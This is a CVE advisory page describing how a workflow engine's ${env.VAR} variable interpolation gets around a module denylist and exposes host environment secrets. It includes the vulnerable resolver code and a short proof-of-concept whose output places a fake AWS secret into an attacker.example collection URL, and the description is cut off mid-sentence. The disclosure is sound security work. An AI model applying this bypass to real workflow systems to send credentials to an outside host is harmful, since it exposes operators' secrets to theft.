CVE-2026-67427
Summary
The capability policy denies the env.get and env.load_dotenv modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine's variable resolver expands ${env.VAR} for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.
Affected code
src/core/engine/variable_resolver.py:
if var_type == 'env':
if len(parts) < 2:
return None
env_var = parts[1]
return os.getenv(env_var) # any env var, no allowlist, not covered by module policy
The module policy (enforce_module_policy in module_policy.py) gates module execution at BaseModule.run, but ${...} interpolation happens earlier in the engine and is not subject to it. So denylisting env.get does not actually stop a workflow from reading host env secrets.
Reproduction
Save as envbypass_poc.py, run with PYTHONPATH=src/src python envbypass_poc.py.
#!/usr/bin/env python3
import os
os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK"
from core.module_policy import module_filter
from core.engine.variable_resolver import VariableResolver
print("env.get allowed? ", module_filter.is_allowed("env.get"))
r = VariableResolver(params={}, context={})
print("resolve ${env.SECRET}: ", r.resolve("${env.AWS_SECRET_ACCESS_KEY}"))
print("into an attacker URL: ", r.resolve("https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}"))
Output:
env.get allowed? False
resolve ${env.SECRET}: AKIA-operator-super-secret-DO-NOT-LEAK
into an attacker URL: https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK
env.get is denied, yet ${env.AWS_SECRET_ACCESS_KEY} reads the same secret and drops it straight into a URL. Confirmed through the running API too: a POST /v1/workflow/run step with text: "${env.AWS_SECRET_ACCESS_KEY}" res
⚡ Watch CVE-2026-67427
Get an email if CVE-2026-67427 is added to CISA KEV, gains public exploit code, or a new advisory cites it — max one per day, one-click unsubscribe.
Exploitation outlook
- Low exploitation risk0.34% 30-day exploitation probability — currently an unlikely target, but scores change as exploit code circulates. Riskier than 27% of all EPSS-scored CVEs.
Advisory coverage (2)
External references
Embed the live status
— this badge updates automatically when the KEV or exploit status changes. How to embed it →
[](https://www.csirts.com/cve/CVE-2026-67427)